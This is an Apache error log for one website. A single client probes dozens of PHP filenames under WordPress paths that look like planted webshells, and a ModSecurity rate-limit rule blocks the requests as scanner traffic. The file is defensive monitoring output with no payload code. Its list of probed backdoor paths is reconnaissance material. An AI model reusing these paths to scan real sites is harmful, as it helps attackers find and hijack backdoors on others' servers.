[Fri Apr 17 01:41:48.732309 2026] [:error] [pid 43482:tid 43485] [client 172.213.224.11:28145] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Fri Apr 17 01:41:49.003366 2026] [:error] [pid 43482:tid 43501] [client 172.213.224.11:28145] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Fri Apr 17 01:41:49.350477 2026] [:error] [pid 43482:tid 43497] [client 172.213.224.11:28145] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Fri Apr 17 01:41:49.619867 2026] [:error] [pid 43482:tid 43507] [client 172.213.224.11:28145] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Fri Apr 17 01:41:49.889287 2026] [:error] [pid 43482:tid 43484] [client 172.213.224.11:28145] File does not exist: /usr/local/apache/htdocs/suspended-page/222.php
[Fri Apr 17 01:41:50.453363 2026] [:error] [pid 43482:tid 43502] [client 172.213.224.11:28145] File does not exist: /usr/local/apache/htdocs/suspended-page/fff.php
[Fri Apr 17 01:41:51.008490 2026] [:error] [pid 43482:tid 43494] [client 172.213.224.11:28145] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aeEfXz9SZnuKxlHrct2laQAAAMo"]
[Fri Apr 17 01:41:51.740858 2026] [:error] [pid 43482:tid 43505] [client 172.213.224.11:49899] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aeEfXz9SZnuKxlHrct2lcwAAANU"]
[Fri Apr 17 01:41:52.771549 2026] [:error] [pid 11692:tid 11698] [client 172.213.224.11:49856] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aeEfYM1AYuhm4BZwKNodOQAAAgE"]
[Fri Apr 17 01:41:53.656992 2026] [:error] [pid 26480:tid 26504] [client 172.213.224.11:49916] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aeEfYQwLDJKTQNfarA1-1wAAAdY"]
[Fri Apr 17 01:41:54.958959 2026] [:error] [pid 26480:tid 26495] [client 172.213.224.11:27628] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "aeEfYgwLDJKTQNfarA1-4AAAAc0"]
[Fri Apr 17 01:41:55.674584 2026] [:error] [pid 43385:tid 43415] [client 172.213.224.11:17776] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "aeEfY8nIxkJaUI8KNs4ncQAAABg"]
[Fri Apr 17 01:41:56.345807 2026] [:error] [pid 43386:tid 43443] [client 172.213.224.11:49887] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "aeEfZO91GAVgUfhPVDHNRgAAAFY"]
[Fri Apr 17 01:41:56.869293 2026] [:error] [pid 43385:tid 43407] [client 172.213.224.11:19480] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "aeEfZMnIxkJaUI8KNs4ndAAAABI"]
[Fri Apr 17 01:41:57.439607 2026] [:error] [pid 26480:tid 26489] [client 172.213.224.11:27892] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aeEfZQwLDJKTQNfarA1-5wAAAcc"]
[Fri Apr 17 01:41:58.150979 2026] [:error] [pid 26480:tid 26485] [client 172.213.224.11:49910] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aeEfZgwLDJKTQNfarA1-7AAAAcM"]
[Fri Apr 17 01:41:58.866921 2026] [:error] [pid 43482:tid 43489] [client 172.213.224.11:27845] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aeEfZj9SZnuKxlHrct2lhgAAAMU"]
[Fri Apr 17 01:41:59.397462 2026] [:error] [pid 43385:tid 43405] [client 172.213.224.11:27590] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aeEfZ8nIxkJaUI8KNs4neQAAABA"]
[Fri Apr 17 01:41:59.973647 2026] [:error] [pid 11854:tid 11865] [client 172.213.224.11:49642] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "aeEfZ9xJCSIaqP1XSdacdQAAAkg"]
[Fri Apr 17 01:42:00.633747 2026] [:error] [pid 43386:tid 43421] [client 172.213.224.11:27636] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "aeEfaO91GAVgUfhPVDHNSgAAAEE"]
[Fri Apr 17 01:42:01.221891 2026] [:error] [pid 3245:tid 3267] [client 172.213.224.11:17763] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "aeEfaaESOMTHVLs-uFDY1AAAAQU"]
[Fri Apr 17 01:42:02.025737 2026] [:error] [pid 43387:tid 43460] [client 172.213.224.11:27893] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "aeEfaiBNsONqHxWTakU_awAAAIk"]
[Fri Apr 17 01:42:02.569679 2026] [:error] [pid 43482:tid 43507] [client 172.213.224.11:27089] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aeEfaj9SZnuKxlHrct2ljgAAANc"]
[Fri Apr 17 01:42:03.792185 2026] [:error] [pid 3245:tid 3275] [client 172.213.224.11:27615] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aeEfa6ESOMTHVLs-uFDY1QAAAQ0"]
[Fri Apr 17 01:42:04.385487 2026] [:error] [pid 11692:tid 11720] [client 172.213.224.11:19476] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aeEfbM1AYuhm4BZwKNodPwAAAhc"]
[Fri Apr 17 01:42:05.183542 2026] [:error] [pid 43482:tid 43486] [client 172.213.224.11:27607] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aeEfbT9SZnuKxlHrct2lkwAAAMI"]
[Fri Apr 17 01:42:05.737174 2026] [:error] [pid 3245:tid 3266] [client 172.213.224.11:27614] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeEfbaESOMTHVLs-uFDY1gAAAQQ"]
[Fri Apr 17 01:42:06.727097 2026] [:error] [pid 11854:tid 11877] [client 172.213.224.11:19485] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeEfbtxJCSIaqP1XSdacewAAAlQ"]
[Fri Apr 17 01:42:07.295905 2026] [:error] [pid 11692:tid 11700] [client 172.213.224.11:19503] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeEfb81AYuhm4BZwKNodRQAAAgM"]
[Fri Apr 17 01:42:07.956176 2026] [:error] [pid 4086:tid 4109] [client 172.213.224.11:49622] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeEfb1lz7gxl_exM0FpKoAAAAVU"]
[Fri Apr 17 01:42:08.778808 2026] [:error] [pid 43387:tid 43470] [client 172.213.224.11:28147] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeEfcCBNsONqHxWTakU_bwAAAJE"]
[Fri Apr 17 01:42:09.873163 2026] [:error] [pid 43385:tid 43393] [client 172.213.224.11:49896] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeEfccnIxkJaUI8KNs4ngQAAAAQ"]
[Fri Apr 17 01:42:10.471442 2026] [:error] [pid 11692:tid 11711] [client 172.213.224.11:49656] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeEfcs1AYuhm4BZwKNodVAAAAg4"]
[Fri Apr 17 01:42:11.032416 2026] [:error] [pid 11692:tid 11719] [client 172.213.224.11:27611] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeEfc81AYuhm4BZwKNodWwAAAhY"]
[Fri Apr 17 01:42:11.739622 2026] [:error] [pid 26102:tid 26126] [client 172.213.224.11:17742] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeEfc_127aFqw6ALdngZvQAAAZU"]
[Fri Apr 17 01:42:13.010540 2026] [:error] [pid 43385:tid 43411] [client 172.213.224.11:19517] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeEfdcnIxkJaUI8KNs4niwAAABU"]
[Fri Apr 17 01:42:13.665659 2026] [:error] [pid 11692:tid 11711] [client 172.213.224.11:28113] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeEfdc1AYuhm4BZwKNodaQAAAg4"]
[Fri Apr 17 01:42:14.310907 2026] [:error] [pid 11692:tid 11718] [client 172.213.224.11:17771] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeEfds1AYuhm4BZwKNodbAAAAhU"]
[Fri Apr 17 01:42:14.932906 2026] [:error] [pid 11692:tid 11719] [client 172.213.224.11:28120] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "aeEfds1AYuhm4BZwKNodbQAAAhY"]
[Fri Apr 17 01:42:15.701657 2026] [:error] [pid 26480:tid 26499] [client 172.213.224.11:27846] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "aeEfdwwLDJKTQNfarA1--gAAAdE"]
[Fri Apr 17 01:42:16.528727 2026] [:error] [pid 43387:tid 43473] [client 172.213.224.11:17728] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "aeEfeCBNsONqHxWTakU_cQAAAJQ"]
[Fri Apr 17 01:42:17.654449 2026] [:error] [pid 26102:tid 26119] [client 172.213.224.11:49648] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "aeEfef127aFqw6ALdngZvwAAAY4"]
[Fri Apr 17 01:42:18.373166 2026] [:error] [pid 43482:tid 43502] [client 172.213.224.11:49918] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aeEfej9SZnuKxlHrct2lpgAAANI"]
[Fri Apr 17 01:42:18.881083 2026] [:error] [pid 43482:tid 43504] [client 172.213.224.11:27875] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aeEfej9SZnuKxlHrct2lqAAAANQ"]
[Fri Apr 17 01:42:19.608794 2026] [:error] [pid 11692:tid 11702] [client 172.213.224.11:28158] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aeEfe81AYuhm4BZwKNodeAAAAgU"]
[Fri Apr 17 01:42:20.165913 2026] [:error] [pid 43386:tid 43442] [client 172.213.224.11:28117] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aeEffO91GAVgUfhPVDHNWQAAAFU"]
[Fri Apr 17 01:42:20.944162 2026] [:error] [pid 26480:tid 26502] [client 172.213.224.11:17741] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeEffAwLDJKTQNfarA1-_gAAAdQ"]
[Fri Apr 17 01:42:21.763119 2026] [:error] [pid 43386:tid 43420] [client 172.213.224.11:19468] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeEffe91GAVgUfhPVDHNYgAAAEA"]
[Fri Apr 17 01:42:22.875097 2026] [:error] [pid 43385:tid 43412] [client 172.213.224.11:19478] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeEffsnIxkJaUI8KNs4nlQAAABY"]
[Fri Apr 17 01:42:23.545947 2026] [:error] [pid 43386:tid 43427] [client 172.213.224.11:19490] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeEff-91GAVgUfhPVDHNaQAAAEc"]
[Fri Apr 17 01:42:24.294866 2026] [:error] [pid 43386:tid 43435] [client 172.213.224.11:27105] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aeEfgO91GAVgUfhPVDHNagAAAE8"]
[Fri Apr 17 01:42:24.828711 2026] [:error] [pid 11692:tid 11721] [client 172.213.224.11:49876] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aeEfgM1AYuhm4BZwKNodgwAAAhg"]
[Fri Apr 17 01:42:25.640924 2026] [:error] [pid 43482:tid 43493] [client 172.213.224.11:14694] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aeEfgT9SZnuKxlHrct2lswAAAMk"]
[Fri Apr 17 01:42:26.982848 2026] [:error] [pid 43387:tid 43465] [client 172.213.224.11:28155] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aeEfgiBNsONqHxWTakU_eAAAAIw"]
[Fri Apr 17 01:42:28.002811 2026] [:error] [pid 26480:tid 26505] [client 172.213.224.11:19488] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeEfhAwLDJKTQNfarA1_AgAAAdc"]
[Fri Apr 17 01:42:28.697713 2026] [:error] [pid 26480:tid 26497] [client 172.213.224.11:14650] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeEfhAwLDJKTQNfarA1_BQAAAc8"]
[Fri Apr 17 01:42:29.426596 2026] [:error] [pid 26102:tid 26106] [client 172.213.224.11:49911] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeEfhf127aFqw6ALdngZwgAAAYE"]
[Fri Apr 17 01:42:30.039511 2026] [:error] [pid 26480:tid 26489] [client 172.213.224.11:28115] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeEfhgwLDJKTQNfarA1_DAAAAcc"]
[Fri Apr 17 01:42:30.646680 2026] [:error] [pid 26480:tid 26487] [client 172.213.224.11:14691] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aeEfhgwLDJKTQNfarA1_DwAAAcU"]
